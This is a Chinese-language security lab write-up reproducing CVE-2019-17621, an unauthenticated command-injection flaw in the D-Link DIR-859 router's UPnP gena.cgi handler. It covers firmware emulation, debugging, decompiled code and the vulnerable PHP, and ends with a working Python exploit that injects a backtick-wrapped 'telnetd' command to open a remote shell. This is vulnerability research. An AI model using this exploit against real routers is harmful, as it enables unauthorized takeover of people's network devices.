D-Link DIR-859 RCE漏洞(CVE-2019-17621)分析復現

2021-02-14 水滴安全實驗室

一、模擬運行固件

1.環境搭建

使用attifyos 中的環境進行模擬時可能會出現各種問題,後來自己搭建環境,可以正常運行。

firmadyne 環境搭建: https://github.com/firmadyne/firmadyne

qemu 編譯安裝:https://download.qemu.org/qemu-2.5.0.tar.bz2

qemu 建議使用 qemu-2.5.0 版本進行編譯安裝

在安裝之前,請修復 linux-user/elfload.c 中elf_check_ehdr 函數的一個 bug:

插入 && ehdr->e_shentsize == sizeof(struct elf_shdr) 這個條件

修改之前:

/* Verify the portions of EHDR outside of E_IDENT for the target.   This has to wait until after bswapping the header.  */static bool elf_check_ehdr(struct elfhdr *ehdr){    return (elf_check_arch(ehdr->e_machine)            && ehdr->e_ehsize == sizeof(struct elfhdr)            && ehdr->e_phentsize == sizeof(struct elf_phdr)            && (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));}

修改後:

static bool elf_check_ehdr(struct elfhdr *ehdr){    return (elf_check_arch(ehdr->e_machine)            && ehdr->e_ehsize == sizeof(struct elfhdr)            && ehdr->e_phentsize == sizeof(struct elf_phdr)      && ehdr->e_shentsize == sizeof(struct elf_shdr)            && (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));}

編譯:

./configure --target-list="mips-linux-user mipsel-linux-user arm-linux-user" --staticsudo make -j8


2.模擬運行固件

將 DIR859Ax_FW105b03.bin 固件複製到 firmadyne 目錄下

在firmadyne 目錄下執行以下命令:su

sudo surm -rf images*sh ./reset.shsudo -u postgres createdb -O firmadyne firmwaresudo -u postgres psql -d firmware < ./database/schema./sources/extractor/extractor.py -b Dlink -sql 127.0.0.1 -np -nk "DIR859Ax_FW105b03.bin" images./scripts/getArch.sh ./images/1.tar.gz  ./scripts/makeImage.sh 1        ./scripts/inferNetwork.sh 1        ./scratch/1/run.sh   

ip 信息:

配置網卡信息是,本地會生成一個與 ip 同網段的網卡:運行固件:./scratch/1/run.sh

可以看出路由器固件 ip為: 192.168.0.1

瀏覽器中輸入 192.168.0.1 訪問仿真路由器:

    至此,固件模擬運行成功。

二、程序調試1. 啟動 mips 系統run-mips-sys.sh腳本信息如下:
oit@ubuntu:/home/qemu-vmsys/mips$ cat run-mips-sys.shsudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda

其中, msb_mips_gdbserver 是靜態的 gdbserver, 之後用於 固件系統中程序的調試。信息如下:

oit@ubuntu:/home/qemu-vmsys/mips$ file ./msb_mips_gdbserver ./msb_mips_gdbserver: ELF 32-bit MSB  executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped

執行腳本啟動 mips 系統: run-mips-sys.sh
輸入 longin:root Password:root2.掛載固件跟文件系統

解包固件:binwalk -Me DIR859Ax_FW105b03.bin

oit@ubuntu:~/tools/Template/dir_859$ binwalk -Me ./DIR859Ax_FW105b03.binoit@ubuntu:~/tools/Template/dir_859$ cd _DIR859Ax_FW105b03.bin.extracted

將跟文件系統 squashfs-root 和 msb_mips_gdbserver 傳到 debian-mips系統中:

將 msb_mips_gdbserver 複製到 squashfs-root 目錄下:

cp ./msb_mips_gdbserver ./squashfs-root

掛載跟文件系統並啟動:命令如下:

root@debian-mips:~root@debian-mips:~root@debian-mips:~

查看文件系統中運行的進程:

chroot ./squashfs-root shroot@debian-mips:~# chroot ./squashfs-root/ sh BusyBox v1.14.1 (2016-06-28 10:53:08 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.   PID USER       VSZ STAT COMMAND     1 0         2660 S    init [2]        2 0            0 SW   [kthreadd]     3 0            0 SW   [ksoftirqd/0]     6 0            0 SW   [watchdog/0]     7 0            0 SW<  [cpuset]     8 0            0 SW<  [khelper]     9 0            0 SW   [kdevtmpfs]
... 2389 0 11144 S sshd: root@pts/0 2391 0 6108 S -bash 2399 0 2588 S /usr/lib/openssh/sftp-server 2583 0 0 SW [kworker/0:1] 2896 0 11012 S sshd: root@notty 2898 0 2588 S /usr/lib/openssh/sftp-server 2937 0 0 SW [kworker/0:0] 3036 0 0 SW [flush-8:0] 3052 0 0 SW [kworker/0:2] 3057 0 856 S sh 3058 0 748 R ps

查看網絡:

由此可知,跟文件系統在mips系統中成功掛載並運行。

3. 程序調試測試:msb_mips_gdbserver、IDA

這裡測試 /htdocs/cgibin 文件的遠程調試( /htdocs/cgibin 後面會用到)

a. 執行 ./msb_mips_gdbserver 192.168.126.150:1234 /htdocs/cgibin

    遠程ip: 192.168.126.150

    監聽埠:1234    

    /htdocs/cgibin:調試程序

b. 將 /htdocs/cgibin 複製到 pc下,用ida打開

 在main 函數處下斷點,按 F9運行->選擇Remote GDB debuger

     點擊OK,輸入Hostname 和 Port:(啟動gdbserver 時設置的 )

    Hostname: 192.168.126.150

    Port:1234

    點擊OK,出現調試界面

    F9 運行,執行到剛才main 函數斷點處

    由此可以看到,一切正常,說明環境配置及遠程調試沒有問題。

三、漏洞分析

對於漏洞分析,參考原文:
https://blog.csdn.net/NOSEC2019/article/details/103823845
根據紕漏,可知遠程代碼執行漏洞在UPnP請求的代碼中。

1. UPnP協議棧UPnP是實現智能設備端到端網絡連接的結構。它也是一種架構在TCP/IP和HTTP技術之上的,分布式、開放的網絡結構,以使得在聯網的設備間傳遞控制和數據。UPnP 技術實現了 控制點、 設備和 服務之間通訊的支持,並且設備和相關服務的也使用XML定義並且公布出來。使用UPnP,設備可以動態加入網絡,自動獲得一個IP位址,向其他設備公布它的能力或者獲知其他設備的存在和服務,所有這些過程都是自動完成的,此後設備能夠彼此直接通訊。UPnP不需要設備驅動程序,因此使用UPnP建立的網絡是介質無關的。同時UPnP使用標準的TCP/IP和網絡協議,使它能夠無縫的融入現有網絡。構造UPnP應用程式時可以使用任何語言,並在任何作業系統平臺上編譯運行。對於設備的描述,使用HTML表單表述設備控制界面。它既允許設備供應商提供基於瀏覽器的用戶界面和編程控制接口,也允許開發人員定製自己的設備界面。2. 漏洞所在位置在滿足一定前置條件情況下,二進位可執行文件/htdocs/cgibin中的genacgi_main()函數包含了可遠程執行代碼的漏洞。使用 ghidra 查看 genacgi_main() 函數的反編譯代碼:
undefined4 genacgi_main(void){  char *pcVar1;  char *env_http_callback;  char *__s1;  char *env_http_nt;  char *env_REMOTE_ADDR;  size_t sVar2;  __pid_t pid;  __pid_t _Var3;  char *pcVar4;  undefined4 uVar5;  int iVar6;  int iVar7;  int iVar8;  char buf8 [8];  char acStack528 [500];  undefined *local_18;    local_18 = &_gp;  pcVar4 = getenv("REQUEST_METHOD");  if (pcVar4 == (char *)0x0) {    return 0xffffffff;  }                      uVar5 = (**(code **)(local_18 + -0x7c90))("REQUEST_URI");                      iVar6 = (**(code **)(local_18 + -0x7f78))(uVar5,0x3f);  if (iVar6 == 0) {    return 0xffffffff;  }                      iVar7 = (**(code **)(local_18 + -0x7d44))(iVar6,"?service=",9);  if (iVar7 != 0) {    return 0xffffffff;  }                      iVar7 = (**(code **)(local_18 + -0x7d30))(pcVar4,"SUBSCRIBE");  uri_service = iVar6 + 9;  if (iVar7 != 0) {    iVar6 = (**(code **)(local_18 + -0x7d30))(pcVar4,"UNSUBSCRIBE");    if (iVar6 != 0) {      return 0xffffffff;    }    pcVar4 = getenv("SERVER_ID");    if ((((pcVar4 == (char *)0x0) || (pcVar4 = getenv("HTTP_SID"), pcVar4 == (char *)0x0)) ||        (pcVar4 = getenv("HTTP_CALLBACK"), pcVar4 != (char *)0x0)) ||       (pcVar4 = getenv("HTTP_NT"), pcVar4 != (char *)0x0)) {      cgibin_print_http_status(400,0x420554,0x420554);    }    else {      pcVar4 = getenv("SERVER_ID");      getenv("HTTP_SID");      sprintf(acStack528,"%s\nINF_UID=%s\nSERVICE=%s\nMETHOD=UNSUBSCRIBE\nSID=%s\n",              "/htdocs/upnp/run.NOTIFY.php",pcVar4);      xmldbc_ephp(0,0,acStack528,stdout);    }    return 0;  }  env_server_id = getenv("SERVER_ID");  env_http_sid = getenv("HTTP_SID");  env_http_callback = getenv("HTTP_CALLBACK");  env_http_timeout = getenv("HTTP_TIMEOUT");  env_http_nt = getenv("HTTP_NT");  env_REMOTE_ADDR = getenv("REMOTE_ADDR");  if (env_http_sid == (char *)0x0) {    iVar7 = strcmp(env_http_nt,"upnp:event");    uVar5 = 0x19c;    if ((iVar7 == 0) && (env_http_callback != (char *)0x0)) {      iVar7 = strcasecmp(env_http_timeout,"Second-infinite");      time_out = 0;      if (iVar7 != 0) {        iVar7 = strncasecmp(env_http_timeout,"Second-",7);        uVar5 = 400;        if (iVar7 != 0) goto LAB_004103d8;        time_out = atoi(env_http_timeout + 7);      }      sVar2 = strlen(env_http_callback);      if (env_http_callback[sVar2 - 1] == '>') {        env_http_callback[sVar2 - 1] = '\0';      }      env_http_callback = env_http_callback + (uint)(*env_http_callback == '<');      iVar7 = strncmp(env_http_callback,"http://",7);      uVar5 = 0x19c;      if (iVar7 == 0) {        http_callbak_uri = strchr(env_http_callback + 7,0x2f);        if (http_callbak_uri != (char *)0x0) {          *http_callbak_uri = '\0';          pid = getpid();          sprintf(buf8,                  "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh"                  ,"/htdocs/upnp/run.NOTIFY.php",env_server_id,uri_service,env_http_callback + 7, http_callbak_uri+ 1,time_out                  ,env_REMOTE_ADDR,"/var/run",uri_service,pid);          xmldbc_ephp(0,0,buf8,stdout);          fflush(stdout);          _Var3 = getpid();          sprintf(buf8,"NOTIFY:0:sh %s/%s_%d.sh","/var/run",iVar6,_Var3);          xmldbc_timer(0,0,buf8);          return 0;        }        uVar5 = 0x19c;      }    }  }  else {    uVar5 = 400;    if ((env_http_callback == (char *)0x0) && (env_http_nt == (char *)0x0)) {      iVar7 = strcasecmp(__s1,"Second-infinite");      iVar8 = 0;      if (iVar7 != 0) {        iVar7 = strncasecmp(__s1,"Second-",7);        uVar5 = 400;        if (iVar7 != 0) goto LAB_004103d8;        iVar8 = atoi(__s1 + 7);      }      sprintf(buf8,              "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nSID=%s\nTIMEOUT=%d\nSHELL_FILE=%s/%s.sh"              ,"/htdocs/upnp/run.NOTIFY.php",pcVar4,iVar6,pcVar1,iVar8,"/var/run",iVar6);      xmldbc_ephp(0,0,buf8,stdout);      return 0;    }  }LAB_004103d8:  cgibin_print_http_status(uVar5,0x420554,0x420554);  return 0;}

在反編譯代碼中,sprintf()設置了一個包含所有值的緩衝區,其中函數參數 ?service=及其值,隨後由 xmldbc_ephp()函數(最後調用send())將「buffer8」中包含的數據發送給PHP。

sprintf(buf8,"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh" ,"/htdocs/upnp/run.NOTIFY.php",env_server_id,uri_service,env_http_callback + 7, http_callbak_uri+ 1,time_out ,env_REMOTE_ADDR,"/var/run",uri_service,pid);xmldbc_ephp(0,0,buf8,stdout);

根據反彙編代碼,可以看出,sprintf()用於連接多個變量的值,填充一個緩衝區,設置要傳遞的新變量,其中SHELL_FILE將以格式%s_%d.sh進行傳遞,主要用於為新的shell腳本命名。
根據執行 sprintf() 成立的條件,調試時需要設置以下環境變量

export REQUEST_URI="SUBSCRIBE /gena.cgi?service=\`telnetd\`"export REMOTE_ADDR="192.168.126.150"export REQUEST_METHOD="SUBSCRIBE"export CONTENT_TYPE="application/x-www-form-urlencoded"export HTTP_COOKIE="aaaaaaaa"export HTTP_TIMEOUT="Second-1800"export HTTP_NT="upnp:event"export HTTP_CALLBACK="<http://192.168.126.139:34033/ServiceProxy27>/"

修復環境:

mkdir -p /var/htdocs/upnp/LAN-1/ln -s /htdocs/cgibin   /var/htdocs/upnp/LAN-1/gena.cgi

調試程序,執行到 sprintf:

./gdbserver_msb 192.168.126.150:1234 /var/htdocs/upnp/LAN-1/gena.cgi

數據被複製到「buffer8」緩衝區後,內存中的數據設置如下:

緩衝區中的數據,經過xmldbc_ephp處理,由PHP文件run.NOTIFY.php進行處理,如下:

void xmldbc_ephp(undefined4 param_1,undefined4 param_2,char *pbuf8,int stdout){  size_t buf_size;    buf_size = strlen(pbuf8);  buf_size._2_2_ = (short)buf_size;  FUN_0041420c(param_1,10,param_2,pbuf8,buf_size._2_2_ + 1,stdout);  return;}
undefined4FUN_0041420c(undefined4 param_1,uint param_2,undefined4 param_3,void *pbuf,ushort buf_size, int in_stdout){ int fd; int iVar1; undefined4 uVar2; fd = _connect(); uVar2 = 0xffffffff; if (-1 < fd) { iVar1 = FUN_00413810(fd,(short)param_2,param_3,pbuf,buf_size); uVar2 = 0xffffffff; if (-1 < iVar1) { if (in_stdout == 0) { in_stdout = stdout; } FUN_00414094(fd,in_stdout); uVar2 = 0; } close(fd); } return uVar2;}
int _connect(char *pcParm1)
{ int __fd; int iVar1; int iVar2; sockaddr local_80 [7]; __fd = socket(1,2,0); if (__fd < 0) { iVar2 = -1; } else { fcntl(__fd,2,1); if (pcParm1 == (char *)0x0) { pcParm1 = "/var/run/xmldb_sock"; } local_80[0].sa_family = 1; snprintf(local_80[0].sa_data,0x6c,"%s",pcParm1); iVar1 = connect(__fd,local_80,0x6e); iVar2 = __fd; if (iVar1 < 0) { iVar2 = -1; close(__fd); } } return iVar2;}

流程: buf8->xmldbc_ephp->FUN_0041420c->_connect-> connect

run.NOTIFY.php文件

<?include "/htdocs/phplib/upnp/xnode.php";include "/htdocs/upnpinc/gvar.php";include "/htdocs/upnpinc/gena.php";
$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);$gena_path = $gena_path."/".$SERVICE;GENA_subscribe_cleanup($gena_path);
if ($SERVICE == "L3Forwarding1") $php = "NOTIFY.Layer3Forwarding.1.php";else if ($SERVICE == "OSInfo1") $php = "NOTIFY.OSInfo.1.php";else if ($SERVICE == "WANCommonIFC1") $php = "NOTIFY.WANCommonInterfaceConfig.1.php";else if ($SERVICE == "WANEthLinkC1") $php = "NOTIFY.WANEthernetLinkConfig.1.php";else if ($SERVICE == "WANIPConn1") $php = "NOTIFY.WANIPConnection.1.php";else if ($SERVICE == "WFAWLANConfig1") $php = "NOTIFY.WFAWLANConfig.1.php";

if ($METHOD == "SUBSCRIBE"){ if ($SID == "") GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID); else GENA_subscribe_sid($gena_path, $SID, $TIMEOUT);}else if ($METHOD == "UNSUBSCRIBE"){ GENA_unsubscribe($gena_path, $SID);}?>

根據環境的設置,該腳本會調用PHP 函數 GENA_subscribe_new(),並傳遞cgibin程序中genacgi_main()函數獲得的變量,還包括變量SHELL_FILE。

根據搜索,可知 GENA_subscribe_new()定義在 gena.php文件中

gena.php文件:

<?include "/htdocs/phplib/xnode.php";include "/htdocs/phplib/trace.php";include "/htdocs/phplib/phyinf.php";
function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid){
$inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0); if ($inf_path=="") { TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!"); return ""; } $phyinf = PHYINF_getifname(query($inf_path."/phyinf")); if ($phyinf == "") { TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!"); return ""; }
$upnpmsg = query("/runtime/upnpmsg"); if ($upnpmsg == "") $upnpmsg = "/dev/null"; fwrite(w, $shell_file, "#!/bin/sh\n". 'echo "[$0] ..." > '.$upnpmsg."\n". "xmldbc -P ".$target_php. " -V INF_UID=".$inf_uid. " -V HDR_URL=".$uri. " -V HDR_HOST=".$host. " -V HDR_SID=".$sid. " -V HDR_SEQ=0". " | httpc -i ".$phyinf." -d \"".$host."\" -p TCP > ".$upnpmsg."\n" ); fwrite(a, $shell_file, "rm -f ".$shell_file."\n");}
function GENA_notify_req_event_hdr($url, $host, $content_len, $sid, $seq, $outputfile){ if ($outputfile!="") { fwrite("w", $outputfile, "NOTIFY ".$url." HTTP/1.1\r\n"); fwrite("a", $outputfile, "HOST: ".$host."\r\n"); fwrite("a", $outputfile, "CONTENT-TYPE: text/xml\r\n"); fwrite("a", $outputfile, "CONTENT-LENGTH: ".$content_len."\r\n"); fwrite("a", $outputfile, "NT: upnp:event\r\n"); fwrite("a", $outputfile, "NTS: upnp:propchange\r\n"); fwrite("a", $outputfile, "SID: ".$sid."\r\n"); fwrite("a", $outputfile, "SEQ: ".$seq."\r\n\r\n"); } else { echo "NOTIFY ".$url." HTTP/1.1\r\n"; echo "HOST: ".$host."\r\n"; echo "CONTENT-TYPE: text/xml\r\n"; echo "CONTENT-LENGTH: ".$content_len."\r\n"; echo "NT: upnp:event\r\n"; echo "NTS: upnp:propchange\r\n"; echo "SID: ".$sid."\r\n"; echo "SEQ: ".$seq."\r\n\r\n"; }}
function GENA_subscribe_http_resp($sid, $timeout){ echo "HTTP/1.1 200 OK\r\n"; echo "SID: ".$sid."\r\n"; echo "TIMEOUT: "; if ($timeout == 0) echo "Second-infinite"; else echo "Second-".$timeout; echo "\r\n\r\n";}
function GENA_subscribe_cleanup($node_base){ $curr_time = query("/runtime/device/uptime");
anchor($node_base); $count = query("subscription#"); while ($count > 0) { $tout = query("subscription:".$count."/timeout"); if ($tout > 0 && $tout < $curr_time) del("subscription:".$count); $count--; }}
function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid){ anchor($node_base); $count = query("subscription#"); $found = 0; foreach ("subscription") { if (query("host")==$host && query("uri")==$uri) {$found = $InDeX; break;} } if ($found == 0) { $index = $count + 1; $new_uuid = "uuid:".query("/runtime/genuuid"); } else { $index = $found; $new_uuid = query("subscription:".$index."/uuid"); }
if ($timeout==0 || $timeout=="") {$timeout = 0; $new_timeout = 0;} else {$new_timeout = query("/runtime/device/uptime") + $timeout;} set("subscription:".$index."/remote", $remote); set("subscription:".$index."/uuid", $new_uuid); set("subscription:".$index."/host", $host); set("subscription:".$index."/uri", $uri); set("subscription:".$index."/timeout", $new_timeout); set("subscription:".$index."/seq", "1");
GENA_subscribe_http_resp($new_uuid, $timeout); GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);}
function GENA_subscribe_sid($node_base, $sid, $timeout){ ...}
function GENA_unsubscribe($node_base, $sid){ ...}?>

從GENA_subscribe_new功能上分析可知函數並不修改 $shell_file 變量。GENA_subscribe_new傳遞$shell_file 到 GENA_notify_init函數,也是shell_file最終處理的地方:通過調用 PHP 函數fwrite()創建新文件。

fwrite() 函數被使用了兩次:

第一次創建文件,文件名由 可控的 SHELL_FILE變量(uri_service)以及

getpid()組成:

第二次調用fwrite()向文件中添加 刪除命令 "rm -f ".$shell_file."\n",(漏洞點觸發原因):

進行攻擊時,只需要插入一個反引號包裹的系統命令,將其注入到shell 腳本中。在腳本執行 rm 命令時因遇到 反引號而失敗,繼續執行引號裡面的系統命令,從而達到遠程命令執行漏洞的觸發。所以,只要控制好 "/gena.cgi?service=shell_file"中 shell_file的內容為 反引號包裹的系統命令,就可以觸發漏洞。四、執行exp,獲取shell1. 模擬運行路由器固件(見 一、),查看埠:使用49152 埠2. exp:
import socketimport osfrom time import sleep
def httpSUB(server, port, shell_file): con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) Payload = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n" Payload += "Host: " + str(server) + str(port) + "\n" Payload += "Callback: <http://192.168.126.128:33/>\n" Payload += "NT: upnp:event\n"    Payload += "Timeout: Second-1800\n" Payload += "Accept-Encoding: gzip, deflate\n"    Payload += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
sleep(1) print('[*] Sending Payload') con.connect((socket.gethostbyname(server),port)) con.send(Payload.encode()) results = con.recv(4096)
sleep(1)    print('[*] Running Telnetd Service')
serverInput = raw_input('IP Router: ')portInput = 49152
httpSUB(serverInput, portInput, '`telnetd`')

執行exp:python poc.py,查看服務:

通過漏洞,開啟telnetd服務:

執行 telnet 192.168.0.1 ,獲取shell

成功利用漏洞。

參考連結:

https://blog.csdn.net/NOSEC2019/article/details/103823845

相關焦點

  • 【賊詳細 | 附PoC工具】Apache HTTPd最新RCE漏洞復現
    \pocs\20211008_web_apache-httpd_dir-traversal-rce_cve-2021-41773_cve-2021-42013.py -u  https://*.*.*.* --verify
  • D-Link DIR-859 及其系列上存在的ssdpcgi未認證命令執行漏洞(CVE-2019–17621)
    最近打算針對一個類型的漏洞進行仔細的分析,希望能通過這個漏洞的分析總結歸納出具有這個漏洞的設備的特點,利於指導之後的漏洞挖掘。
  • DLink RCE漏洞CVE-2019-17621分析
    上一篇文章分了一下ARM系統的路由器漏洞,本次打算嘗試一下MIPS系統,於是選了最近DLink路由器的漏洞CVE-2019-17621
  • D-Link service.cgi遠程命令執行漏洞分析
    漏洞分析此次的分析仍然是基於dir-645,去官網下載1.03的固件[2],下載1.04的固件[3]根據公開的exp[4]中的信息,關鍵poc如下:post_content = "EVENT=CHECKFW%26"+ command + "%26"...URL + "/service.cgi"關鍵信息為
  • CVE-2019-0708 漏洞分析及相關測試
    前言在CVE-2019-0708公布後幾天就已經嘗試過復現該漏洞,但藉助當時exp並沒能成功復現反彈shell的過程遂放棄,故藉助這次漏洞復現報告再來嘗試復現該漏洞
  • D-Link遠程代碼執行漏洞(CVE-2019-16920)漏洞分析
    -19-117 / CVE-2019-16920 ),該漏洞可能會導致遠程執行代碼,危害等級高。根據 FortiGuard實驗室的報告,該漏洞在以下D-Link產品的最新固件中存在:DIR-655 、DIR-866L 、DIR-652 、DHP-1565    根據 https://www.fortinet.com/blog/threat-research/d-link-routers-found-vulnerable-rce.html  報告中披露的信息
  • 漏洞分析|CVE-2019-0708遠程桌面高危漏洞分析
    微軟發布了最新的安全公告,修復了Windows遠程桌面服務的遠程代碼執行漏洞,該漏洞會影響大部分舊版本的windows系統,漏洞編號:CVE-2019-0708。漏洞復現Ubuntu ,kali下載ruby腳本編譯:git clone https://github.com/zerosum0x0/CVE-2019-0708.gitcd CVE-2019-0708/rdesktop-fork-bd6aa6acddf0ba640a49834807872f4cc0d0a773
  • CVE-2017-12542_HP-iLO4_RCE_簡單分析及復現
    name=CVE-2017-12542)是一個CVSS 9.8的高分漏洞,漏洞利用條件簡單,危害較大。近十年來,iLO是幾乎所有惠普伺服器中都嵌入的伺服器管理解決方案。它通過遠程管理的方式為系統管理員提供了需要的功能。包括電源管理,遠程系統控制臺,遠程CD/DVD映像安裝等。
  • CVE-2019-0708 本地復現
    本文作者:Leafer(貝塔安全實驗室-核心成員)Windows系列伺服器於2019年5月15號,被爆出高危漏洞,該漏洞影響範圍較廣
  • Drupal 遠程代碼執行漏洞(CVE-2019-6339)復現
    漏洞概述Drupal core 7.62之前的7.x版本、8.6.6之前的8.6.x版本和8.5.9之前的8.5.x版本中的內置phar stream wrapper(PHP)存在遠程代碼執行漏洞。遠程攻擊者可利用該漏洞執行任意的php代碼。
  • 【漏洞預警】CVE-2019-0708微軟遠程桌面服務遠程代碼執行漏洞(BlueKeep)復現
    /modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb啟動metasploit reload_all 重新加載所有漏洞利用模塊搜索cve-2019-0708漏洞利用模塊search cve_2019_0708
  • CVE-2019-5475:Nexus2 yum插件RCE漏洞復現
    0x00 前言如果有想一起做漏洞復現的小夥伴,歡迎加入我們,公眾號內點擊聯繫作者即可
  • (CVE-2019-17558)Sorl代碼執行漏洞復現
    目錄即可查看和修改params.resource.loader.enabled,然後直接訪問接口構造指定參數就可以達成任意命令執行影響範圍Apache Solr 5.0.0版本至8.3.1漏洞復現得到以上數據就說明漏洞可能存在,之後在頁面中搜索關鍵字params.resource.loader.enabled查看該值是否為true,默認為false
  • Fastjson 1.2.47 RCE漏洞復現
    ,因為平時測試的時候,好像沒怎麼在意測試這個漏洞,復現過程中,漏洞環境挺好搭建的,只是在漏洞利用時,遇到了一些小問題,所以完整記錄下漏洞復現過程。0x 01環境搭建作業系統:ubuntu 18.04(fastjson漏洞環境) 、win10(ldap服務、Web服務)、vps(接收反彈shell)這裡環境搭建用的github上公開的vulhub(https://github.com/vulhub/vulhub),操作簡單好用,運行在docker中,非常方便。
  • 漏洞復現之五: Fastjson<=1.2.24反序列化漏洞復現
    0x00 漏洞描述CVE-2017-18349,前臺無回顯RCE。
  • Windows遠程桌面服務漏洞(CVE-2019-0708)復現測試
    漏洞描述2019年5月14日,微軟發布了針對遠程桌面服務的關鍵遠程執行代碼漏洞
  • DLINK-DIR-645棧溢出漏洞分析復現
    2013年爆出一個棧溢出漏洞,可因cookie的值過長而引起棧溢出,本文詳細記錄了該漏洞復現過程。     漏洞公告:    http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt0x01 漏洞靜態分析    我的環境:    kali-linux
  • IE jscript9.dll UAF漏洞利用復現(CVE-2020-1380)
    站在威脅響應儲備的角度,適當積累一些Chrome 1day的分析和IE 1day的分析知識可以節省後續對同類型漏洞的響應時間。本文隨筆者來看一下CVE-2020-1380這個jscript9漏洞。這是今年8月被披露的一個IE在野漏洞,本文將在重點探討這個漏洞的利用部分(側重於x86平臺),希望本文可以給後續分析此類漏洞的分析人員帶來幫助。
  • CVE-2018-20434 LibreNMS 1.46 - 'addhost' RCE漏洞復現
    最近在復現其最新的漏洞的時候,順帶著復現其中之前的一個漏洞編號為CVE-2018-20434的漏洞。漏洞分析具體詳情可以參考如下翻譯文章和原文https://www.anquanke.com/post/id/16929https://shells.systems/librenms-v1-46-remote-code-execution-cve-2018-20434/0X2 環境搭建
  • CVE-2019-5418:Ruby on Rails路徑穿越與任意文件讀取復現
    本公眾號專注於最新漏洞復現,歡迎關注!